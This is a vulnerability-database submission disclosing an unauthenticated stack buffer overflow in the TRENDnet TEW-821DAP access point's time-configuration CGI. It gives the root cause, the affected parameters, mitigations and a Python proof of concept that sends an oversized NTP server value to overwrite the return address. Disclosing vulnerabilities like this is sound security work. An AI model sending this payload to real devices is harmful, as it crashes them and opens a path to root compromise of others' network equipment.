提出 #881252: TRENDnet TEW-821DAP Wireless Access Point v2.2.01b05 Stack-based Buffer Overflow

A stack-based buffer overflow vulnerability exists in the `cgi/ssi` binary of TRENDnet TEW-821DAP Access Point firmware v2.2.01b05. The NTP and timezone configuration handler retrieves user-supplied configuration values via `uci_safe_get()` — including `system.ntp.server`, `cameo.time.time_zone`, `cameo.cameo.syslog_server`, and related parameters — and copies them into fixed-size stack buffers using `strcpy()` without bounds checking. An unauthenticated attacker can supply oversized values for these parameters, overflowing the stack buffer and overwriting the saved return address (`$ra`) to achieve arbitrary code execution with root privileges.

---

## Technical Details

### Root Cause

The vulnerable code path is:

```
HTTP POST → cgi/ssi (NTP/timezone handler) → uci_safe_get(param) → strcpy(stack_buf, user_input) → BOOM (PC=0x41414141)
```

The CGI handler processes NTP and timezone configuration requests (e.g., `apply_time.cgi`). User-controlled UCI configuration parameters are read via `uci_safe_get()` and then copied into fixed-size stack buffers using the unsafe `strcpy()` function. No length validation is performed before the copy. When an attacker supplies a parameter value longer than the stack buffer, the buffer overflows, overwriting adjacent stack memory including the saved return address.

### FirmRec / Symbolic Execution Evidence

```
0x4224DC: uci_safe_get("system.ntp.enable_server") → strcpy → PC=0x41414141 (2 hits)
0x4846AC: uci_safe_get("cameo.cameo.syslog_server") → strcpy → PC=0x41414141 (6 hits)
```

Multiple overflow points confirmed via symbolic execution with FirmRec — the program counter is reliably overwritten to `0x41414141` ("AAAA"), confirming attacker control of the execution flow.

### Affected Parameters

| Parameter (uci key) | Vulnerable Address | Sink Function |
| --------------------------- | ------------------ | ------------- |
| `system.ntp.server` | 0x4224DC | strcpy() |
| `system.ntp.enable_server` | 0x4224DC | strcpy() |
| `cameo.time.time_zone` | 0x4846AC | strcpy() |
| `cameo.cameo.syslog_server` | 0x4846AC | strcpy() |

---

## Proof of Concept

```python
#!/usr/bin/env python3
"""PoC: TEW-821DAP ssi NTP/Timezone Stack Overflow | CWE-121 | CVSS 9.8"""
import requests
import struct

TARGET = "192.168.10.1"

# MIPS32 BE: overwrite $ra with 0x41414141
PAYLOAD = b"A" * 68 + struct.pack(">I", 0x41414141)

try:
r = requests.post(f"http://{TARGET}/cgi-bin/apply_time.cgi", data={
"system.ntp.server": PAYLOAD.decode("latin-1"),
"system.ntp.enable_server": "1",
"cameo.time.time_zone": "GMT+8",
}, timeout=5)
print(f"Status: {r.status_code} (device may crash)")
except:
print("Device crashed — overflow confirmed")
```

### Expected Result

The stack buffer is overflowed with 68 bytes of padding followed by the target address `0x41414141`, which overwrites the saved return address. The device crashes or restarts when the function attempts to return. With a crafted ROP chain, arbitrary code execution can be achieved.

---

## Impact

Successful exploitation allows an unauthenticated remote attacker to:

- Corrupt the device's stack memory beyond the bounds of the fixed buffer
- Overwrite the saved return address and gain control of the instruction pointer (PC)
- Execute arbitrary code with **root privileges** on the MIPS32 BE architecture
- Deploy persistent implants, backdoors, or botnet agents on the access point
- Use the compromised device to pivot to other internal network hosts
- Cause denial of service (device crash/reboot loop)

The attack requires **no user interaction** and **no authentication**, making it exploitable over LAN or WAN when the management interface is reachable.

---

## Solution / Mitigation

### Vendor Recommendations

1. Replace all `strcpy()` calls with bounded copy functions such as `strncpy()` or `strlcpy()`, ensuring the destination buffer size is enforced
2. Validate the length of all UCI configuration parameters before copying to stack buffers
3. Enable stack canaries (`-fstack-protector-strong`) and compile with `-D_FORTIFY_SOURCE=2`
4. Enable NX/DEP (No-Execute) and ASLR if supported by the platform
5. Perform a comprehensive audit of all `uci_safe_get() → strcpy` call chains in the codebase

### User Mitigations (until patch is available)

- Restrict access to the device's web management interface via firewall rules
- Disable WAN-side administration
- Block access to `/cgi-bin/apply_time.cgi` at the network edge where possible

• ソース: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TEW-821DAP_ssi_NTP_Timezone_Config_Stack_Overflow.md
• ユーザー: ST4R0002 (UID 99571)
• 送信: 2026年07月06日 14:15 (2 月 ago)
• モデレーション: 2026年08月21日 20:42 (2 months later)
• ステータス: 承諾済み
• VulDBエントリ: 394175 [TRENDnet TEW-821DAP 2.2.01b05 NTP Timezone Configuration /cgi-bin/apply_time.cgi uci_safe_get メモリ破損]
• ポイント: 20